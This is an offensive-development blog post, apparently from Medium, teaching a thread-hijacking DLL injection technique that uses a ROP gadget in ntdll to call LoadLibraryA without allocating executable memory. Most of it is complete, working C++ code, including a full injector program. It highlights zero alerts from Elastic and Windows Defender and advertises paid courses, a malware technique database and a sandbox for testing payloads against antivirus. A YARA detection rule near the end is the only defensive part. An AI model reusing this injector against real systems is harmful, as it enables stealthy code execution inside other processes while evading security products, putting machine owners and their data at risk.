← Back to list

DLL Injection via Thread Hijacking Without Executable Memory

Welcome to this new Medium post. Today we cover a technique that combines thread hijacking with Return-Oriented Programming (ROP) to inject…

S12 - 0x12Dark Development · 2026-06-11 21:02 · 51 claps · 6.9 min read
#malware #cybersecurity #pentesting #infosec #hacking
Open on Medium ↗
Wiki topics: 💻 · Programming 🔒 · Cybersecurity

DLL Injection via Thread Hijacking Without Executable Memory

Welcome to this new Medium post. Today we cover a technique that combines thread hijacking with Return-Oriented Programming (ROP) to inject a DLL into a remote process without allocating executable memory

The technique comes from this post:

[embed]T(ROP)H: Thread Hijacking with ROP How to use ROP to inject a DLL into a remote threadinfosecwriteups.com

Courses: Learn how offensive development works on Windows OS from beginner to advanced taking our courses, all explained in C++.

[embed]All Courses Learn how real Windows offensive development works0x12darkdev.net

Technique Database: Access 70+ real offensive techniques with weekly updates, complete with code, PoCs, and AV scan results:

[embed]Malware Techniques Database Explore an ever-growing collection of techniques0x12darkdev.net

Modules: Dive deep into essential offensive topics with our modular text-training program! Get a new module every 14 days. Start at just $1.99 per module, or unlock lifetime access to all modules for $100.

[embed]0x12 Dark Development Learn the best offensive techniques for Windows OS, with content ranging from beginner to advanced levels. All…0x12darkdev.net

Introduction

Traditional DLL injection via thread hijacking works by allocating RWX memory in a remote process, writing shellcode there, and redirecting a thread to execute it. The problem is that allocating private memory with execute permissions is a well-known IOC that memory scanners like Moneta and pe-sieve detect

T(ROP)H (Thread ROP Hijacking) solves this by using a small ROP chain to pass arguments to LoadLibraryA without needing executable memory. Instead of writing shellcode, we write only the DLL path, which is data, not code, and use a pop rcx ; ret gadget from ntdll.dll to load it into the right register before calling LoadLibraryA.

  • Difficulty Level: Intermediate
  • Key APIs used: OpenProcess, OpenThread, VirtualAllocEx, WriteProcessMemory, GetThreadContext, SetThreadContext, SuspendThread, ResumeThread
  • Key concept: ROP gadget from ntdll.dll to control RCX without allocating executable memory

Methodology

To inject a DLL into a remote process without RWX memory, we follow these steps:

  1. Find the target process and thread: We locate notepad.exe by name and get the ID of its first thread. We need a thread to hijack
  2. Open handles: We open a handle to the process with PROCESS_ALL_ACCESS and a handle to the thread with THREAD_ALL_ACCESS
  3. Write the DLL path into remote memory (RW only): We allocate a small PAGE_READWRITE region in the remote process and write the DLL path there. This is data, not code no execute permissions
  4. Find the gadget: We scan the .text section of ntdll.dll (already loaded in every process) for the byte sequence 0x59 0xC3 (pop rcx ; ret). This gadget will load our DLL path address into RCX
  5. Get the thread context: We suspend the thread and call GetThreadContext to read its current RIP and RSP values
  6. Build and write the ROP chain: We write three values onto the thread stack:
  • remoteDllPath: consumed by pop rcx, loads the DLL path into RCX
  • LoadLibraryA:consumed by ret, jumps to LoadLibraryA with RCX already set
  • ExitThread:return address for when LoadLibraryA finishes
  1. Redirect execution: We set RIP to the gadget address and RSP to our chain on the stack, then apply the context with SetThreadContext
  2. Resume the thread: The thread executes the gadget, loads RCX, jumps to LoadLibraryA, and our DLL gets loaded
Thread context modified:
RIP → [pop rcx ; ret gadget in ntdll]
RSP → [our chain on thread stack]

Stack layout:
[RSP+0]  = remoteDllPath   ← pop rcx loads this into RCX
[RSP+8]  = LoadLibraryA    ← ret jumps here (RCX already set)
[RSP+16] = ExitThread      ← clean thread exit after DLL loads

Implementation

Finding the process and thread

We use CreateToolhelp32Snapshot to enumerate running processes and find notepad.exe by name. Then we enumerate threads to find one belonging to that process

DWORD FindPID(const char* procName) {
    DWORD pid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe = { sizeof(pe) };

    if (Process32First(hSnap, &pe)) {
        do {
            if (_stricmp(pe.szExeFile, procName) == 0) {
                pid = pe.th32ProcessID;
                break;
            }
        } while (Process32Next(hSnap, &pe));
    }
    CloseHandle(hSnap);
    return pid;
}

DWORD FindThreadID(DWORD pid) {
    DWORD tid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 te = { sizeof(te) };

    if (Thread32First(hSnap, &te)) {
        do {
            if (te.th32OwnerProcessID == pid) {
                tid = te.th32ThreadID;
                break;
            }
        } while (Thread32Next(hSnap, &te));
    }
    CloseHandle(hSnap);
    return tid;
}

Finding the ROP gadget

We scan the .text section of ntdll.dll at runtime for the byte sequence { 0x59, 0xC3 } (pop rcx ; ret). Because ntdll.dll is already loaded in our process at the same base address as in the target process, the gadget address is valid for both

LPVOID FindGadget() {
    BYTE gadget[] = { 0x59, 0xC3 };

    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hNtdll;
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + pDos->e_lfanew);
    PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNt);

    for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
        if (memcmp(pSec[i].Name, ".text", 5) == 0) {
            BYTE* base = (BYTE*)hNtdll + pSec[i].VirtualAddress;
            DWORD size = pSec[i].Misc.VirtualSize;

            for (DWORD j = 0; j < size - 2; j++) {
                if (memcmp(base + j, gadget, sizeof(gadget)) == 0) {
                    return base + j;
                }
            }
        }
    }
    return nullptr;
}

Building and writing the ROP chain

We suspend the target thread, read its context, and write three values onto its stack. We subtract 0x100 from RSP to avoid overwriting the current stack frame. Then we redirect RIP to our gadget and apply the new context

SuspendThread(hThread);

CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &ctx);

ULONG_PTR chain[3] = {
    (ULONG_PTR)remoteDllPath,     // pop rcx → RCX = DLL path
    (ULONG_PTR)loadLibraryAddr,   // ret → jump to LoadLibraryA
    (ULONG_PTR)exitThreadAddr,    // return address → clean exit
};

ctx.Rsp -= 0x100;
WriteProcessMemory(hProcess, (LPVOID)ctx.Rsp, chain, sizeof(chain), NULL);
ctx.Rip = (ULONG_PTR)gadgetAddr;

SetThreadContext(hThread, &ctx);
ResumeThread(hThread);

Code

#include <Windows.h>
#include <TlHelp32.h>
#include <iostream>

DWORD FindPID(const char* procName) {
    DWORD pid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe = { sizeof(pe) };
    if (Process32First(hSnap, &pe)) {
        do {
            if (_stricmp(pe.szExeFile, procName) == 0) { pid = pe.th32ProcessID; break; }
        } while (Process32Next(hSnap, &pe));
    }
    CloseHandle(hSnap);
    return pid;
}

DWORD FindThreadID(DWORD pid) {
    DWORD tid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 te = { sizeof(te) };
    if (Thread32First(hSnap, &te)) {
        do {
            if (te.th32OwnerProcessID == pid) { tid = te.th32ThreadID; break; }
        } while (Thread32Next(hSnap, &te));
    }
    CloseHandle(hSnap);
    return tid;
}

LPVOID FindGadget() {
    BYTE gadget[] = { 0x59, 0xC3 };
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hNtdll;
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + pDos->e_lfanew);
    PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNt);

    for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
        if (memcmp(pSec[i].Name, ".text", 5) == 0) {
            BYTE* base = (BYTE*)hNtdll + pSec[i].VirtualAddress;
            DWORD size = pSec[i].Misc.VirtualSize;
            for (DWORD j = 0; j < size - 2; j++) {
                if (memcmp(base + j, gadget, sizeof(gadget)) == 0) return base + j;
            }
        }
    }
    return nullptr;
}

int main() {
    const char* targetProc = "notepad.exe";
    const char* dllPath    = "C:\\path\\to\\your\\DllDumb.dll";

    DWORD pid = FindPID(targetProc);
    if (!pid) { std::cerr << "[-] Process not found\n"; return 1; }
    std::cout << "[+] PID: " << pid << "\n";

    DWORD tid = FindThreadID(pid);
    if (!tid) { std::cerr << "[-] Thread not found\n"; return 1; }
    std::cout << "[+] TID: " << tid << "\n";

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    HANDLE hThread  = OpenThread(THREAD_ALL_ACCESS, FALSE, tid);
    if (!hProcess || !hThread) { std::cerr << "[-] Failed to open handles\n"; return 1; }

    SIZE_T dllPathLen  = strlen(dllPath) + 1;
    LPVOID remoteDllPath = VirtualAllocEx(hProcess, NULL, dllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    WriteProcessMemory(hProcess, remoteDllPath, dllPath, dllPathLen, NULL);
    std::cout << "[+] DLL path at: " << remoteDllPath << "\n";

    LPVOID gadgetAddr      = FindGadget();
    LPVOID loadLibraryAddr = GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
    LPVOID exitThreadAddr  = GetProcAddress(GetModuleHandleA("kernel32.dll"), "ExitThread");
    std::cout << "[+] Gadget:       " << gadgetAddr      << "\n";
    std::cout << "[+] LoadLibraryA: " << loadLibraryAddr << "\n";

    SuspendThread(hThread);
    CONTEXT ctx = { 0 };
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(hThread, &ctx);
    std::cout << "[+] Original RIP: 0x" << std::hex << ctx.Rip << "\n";

    ULONG_PTR chain[3] = {
        (ULONG_PTR)remoteDllPath,
        (ULONG_PTR)loadLibraryAddr,
        (ULONG_PTR)exitThreadAddr,
    };

    ctx.Rsp -= 0x100;
    WriteProcessMemory(hProcess, (LPVOID)ctx.Rsp, chain, sizeof(chain), NULL);
    ctx.Rip = (ULONG_PTR)gadgetAddr;
    SetThreadContext(hThread, &ctx);
    ResumeThread(hThread);
    std::cout << "[+] Thread resumed — DLL loading\n";

    Sleep(2000);
    CloseHandle(hThread);
    CloseHandle(hProcess);
    return 0;
}

Proof of Concept

Detection

0x12DarkSandbox

Test your own payloads against the same stack with a free scan on sign up, or go deeper with a scan pack or monthly plan

[embed]Upload & Scan Upload malware samples for parallel analysis across isolated Windows VMs with multi-engine AV scanning0x12darksandbox.net

To test in the sandbox we use this parameters:

const char* targetProc = "explorer.exe";
const char* dllPath = "C:\\Windows\\System32\\winmm.dll";

Static:

Kleenscan:

And zero alerts in Elastic either Windows Defender:

YARA

Here a YARA rule to detect this technique:

rule TROPH_DLL_Injection_ROP_Thread_Hijacking
{
    meta:
        description = "Detects ROP-based DLL injection via thread context hijacking"
        author      = "0x12 Dark Development"
        reference   = "https://medium.com/@s12deff"

    strings:
        // SuspendThread + GetThreadContext pattern
        $api1 = "SuspendThread"   ascii wide
        $api2 = "GetThreadContext" ascii wide
        $api3 = "SetThreadContext" ascii wide
        $api4 = "LoadLibraryA"    ascii wide

        // pop rcx ; ret gadget bytes
        $gadget = { 59 C3 }

        // WriteProcessMemory to thread stack
        $api5 = "WriteProcessMemory" ascii wide

    condition:
        uint16(0) == 0x5A4D and
        all of ($api*) and
        $gadget
}

Here you have my collection of YARA rules:

[embed]GitHub — S12cybersecurity/YaraRules: Collection of interesting Yara Rules Collection of interesting Yara Rules. Contribute to S12cybersecurity/YaraRules development by creating an account on…github.com

Conclusions

T(ROP)H demonstrates that you do not need executable memory to inject a DLL into a remote process. By using a single pop rcx ; ret gadget from ntdll.dll, we solve the calling convention problem that makes traditional thread hijacking require RWX memory

📌 Follow me: YouTube | 🐦 X | 💬 Discord Server | 📸 Instagram | Newsletter

S12.


메타데이터
post_id
6ae94f17f2b4
slug
dll-injection-via-thread-hijacking-without-executable-memory-6ae94f17f2b4
url
https://medium.com/@s12deff/dll-injection-via-thread-hijacking-without-executable-memory-6ae94f17f2b4
canonical_url
https://medium.com/@s12deff/dll-injection-via-thread-hijacking-without-executable-memory-6ae94f17f2b4
author_url
https://medium.com/@s12deff
status
ok
fetched_at
2026-06-14 11:28:49